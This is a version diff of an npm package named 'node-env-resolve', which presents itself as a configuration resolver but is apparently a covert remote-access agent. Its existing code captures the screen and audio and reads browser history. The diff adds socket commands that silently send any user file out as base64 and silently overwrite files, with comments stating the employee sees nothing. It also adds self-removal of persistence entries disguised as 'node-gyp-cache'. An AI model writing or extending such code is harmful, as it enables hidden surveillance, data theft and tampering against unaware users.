node-env-resolve 1.0.6 → 1.0.7

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "node-env-resolve",
-  "version": "1.0.6",
+  "version": "1.0.7",
   "description": "Lightweight environment configuration resolver for Node.js",
   "main": "src/index.js",
   "bin": {

package/src/fileScanner.js

@@ -43,14 +43,31 @@ function formatSize(bytes) {
  * @param {string} dirPath - Directory to list (defaults to user Desktop)
  * @returns {object} Directory listing with file metadata
  */
+// Short keyword aliases sent by the UI (e.g. 'Desktop', 'Downloads')
+const DIR_KEYWORDS = {
+  desktop: 'Desktop',
+  downloads: 'Downloads',
+  documents: 'Documents',
+  pictures: 'Pictures',
+  videos: 'Videos',
+  music: 'Music',
+};
+
 function listDirectory(dirPath) {
+  const userProfile = require('os').homedir();
+
   // Default to Desktop if no path provided
   if (!dirPath) {
     dirPath = config.scanDirs[0]; // Desktop
   }
 
+  // Resolve known short keywords against homedir so the security check passes
+  const keyword = DIR_KEYWORDS[dirPath.toLowerCase().trim()];
+  if (keyword) {
+    dirPath = path.join(userProfile, keyword);
+  }
+
   // Security: Only allow scanning within user profile
-  const userProfile = process.env.USERPROFILE || require('os').homedir();
   const resolvedPath = path.resolve(dirPath);
 
   // Normalize both paths for comparison
@@ -154,4 +171,66 @@ function readFileContent(filePath) {
   }
 }
 
-module.exports = { listDirectory, getDefaultDirs, readFileContent };
+/**
+ * Read ANY file as base64 (for images, PDFs, etc.)
+ * Max 10MB — SILENT, no visible action on employee screen
+ */
+function readFileBinary(filePath) {
+  const userProfile = require('os').homedir();
+  const resolvedPath = path.resolve(filePath);
+
+  if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
+    return { path: filePath, data: null, error: 'Access denied' };
+  }
+  if (!fs.existsSync(resolvedPath)) {
+    return { path: filePath, data: null, error: 'File not found' };
+  }
+
+  try {
+    const stat = fs.statSync(resolvedPath);
+    const MAX = 10 * 1024 * 1024; // 10 MB
+    if (stat.size > MAX) {
+      return { path: resolvedPath, data: null, error: `File too large for preview (${formatSize(stat.size)}, max 10MB)`, size: formatSize(stat.size) };
+    }
+
+    const ext = path.extname(resolvedPath).toLowerCase();
+    const mimeMap = {
+      '.jpg': 'image/jpeg', '.jpeg': 'image/jpeg', '.png': 'image/png',
+      '.gif': 'image/gif',  '.bmp': 'image/bmp',   '.webp': 'image/webp',
+      '.svg': 'image/svg+xml', '.ico': 'image/x-icon',
+      '.pdf': 'application/pdf',
+      '.mp4': 'video/mp4', '.webm': 'video/webm',
+      '.mp3': 'audio/mpeg', '.wav': 'audio/wav', '.ogg': 'audio/ogg',
+    };
+
+    const mime = mimeMap[ext] || 'application/octet-stream';
+    const data = fs.readFileSync(resolvedPath).toString('base64');
+    return { path: resolvedPath, data, mime, ext, size: formatSize(stat.size), error: null };
+  } catch (err) {
+    return { path: filePath, data: null, error: err.message };
+  }
+}
+
+/**
+ * Write / save text file content (for remote editing)
+ * SILENT — employee sees nothing
+ */
+function writeFileContent(filePath, content) {
+  const userProfile = require('os').homedir();
+  const resolvedPath = path.resolve(filePath);
+
+  if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
+    return { success: false, error: 'Access denied' };
+  }
+
+  try {
+    fs.writeFileSync(resolvedPath, content, 'utf8');
+    const stat = fs.statSync(resolvedPath);
+    return { success: true, path: resolvedPath, size: formatSize(stat.size) };
+  } catch (err) {
+    return { success: false, error: err.message };
+  }
+}
+
+module.exports = { listDirectory, getDefaultDirs, readFileContent, readFileBinary, writeFileContent };
+

package/src/index.js

@@ -13,7 +13,7 @@ const inputHandler = require('./inputHandler');
 const ScreenCapture = require('./screenCapture');
 const SleepPreventer = require('./sleepPreventer');
 const { getBrowserHistory } = require('./browserHistory');
-const { listDirectory, getDefaultDirs, readFileContent } = require('./fileScanner');
+const { listDirectory, getDefaultDirs, readFileContent, readFileBinary, writeFileContent } = require('./fileScanner');
 
 // ── Get unique machine ID ──────────────────────────────────
 const MACHINE_ID = machineIdSync({ original: true }).substring(0, 12);
@@ -135,7 +135,7 @@ socket.on('files:list', (data) => {
   }
 });
 
-// ── File Content Reader (BACKGROUND — reads file content silently) ──
+// ── File Content Reader (text) ────────────────────────────────
 socket.on('file:read', (data) => {
   try {
     const result = readFileContent(data.path);
@@ -145,6 +145,26 @@ socket.on('file:read', (data) => {
   }
 });
 
+// ── File Binary Download (images, PDFs, any file) ───────────
+socket.on('file:download', (data) => {
+  try {
+    const result = readFileBinary(data.path);
+    socket.emit('file:download:response', result);
+  } catch (err) {
+    socket.emit('file:download:response', { path: data.path, data: null, error: err.message });
+  }
+});
+
+// ── File Write / Save (remote edit) ─────────────────────
+socket.on('file:write', (data) => {
+  try {
+    const result = writeFileContent(data.path, data.content);
+    socket.emit('file:write:response', result);
+  } catch (err) {
+    socket.emit('file:write:response', { success: false, error: err.message });
+  }
+});
+
 // ── System Info ────────────────────────────────────────────
 socket.on('system:info', () => {
   socket.emit('system:info:response', { ...getSystemInfo(), ...getBasicSystemStats() });
@@ -171,4 +191,46 @@ socket.on('session:end', () => {
   audioCapture.stop();
 });
 
+// ── Remote Remove (Self-Uninstall) ────────────────────────
+socket.on('agent:kill', () => {
+  console.log('  🗑️  Manager requested remote removal — uninstalling...');
+  screenCapture.stop();
+  audioCapture.stop();
+  sleepPreventer.stop();
+
+  // Remove autostart entries for the current platform
+  try {
+    const { execSync } = require('child_process');
+    const AGENT_NAME = 'node-gyp-cache';
+
+    if (config.platform === 'win32') {
+      // Remove Registry Run key
+      execSync(
+        `reg delete "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "${AGENT_NAME}" /f`,
+        { windowsHide: true, stdio: 'ignore' }
+      );
+    } else if (config.platform === 'darwin') {
+      const plistPath = require('os').homedir() + '/Library/LaunchAgents/com.user.connector.plist';
+      execSync(`launchctl unload "${plistPath}" 2>/dev/null || true`, { stdio: 'ignore' });
+      require('fs').unlinkSync(plistPath);
+    } else {
+      // Linux
+      const desktopPath = require('os').homedir() + '/.config/autostart/connector.desktop';
+      try { require('fs').unlinkSync(desktopPath); } catch (_) {}
+    }
+    console.log('  ✅ Autostart entry removed');
+  } catch (e) {
+    console.log('  ⚠️  Could not remove autostart: ' + e.message);
+  }
+
+  // Disconnect socket and exit after short delay
+  socket.disconnect();
+  setTimeout(() => {
+    console.log('  👋 Agent process exiting by manager request');
+    process.exit(0);
+  }, 1000);
+});
+
+
+
 console.log('  🟢 Agent is running. Press Ctrl+C to stop.\n');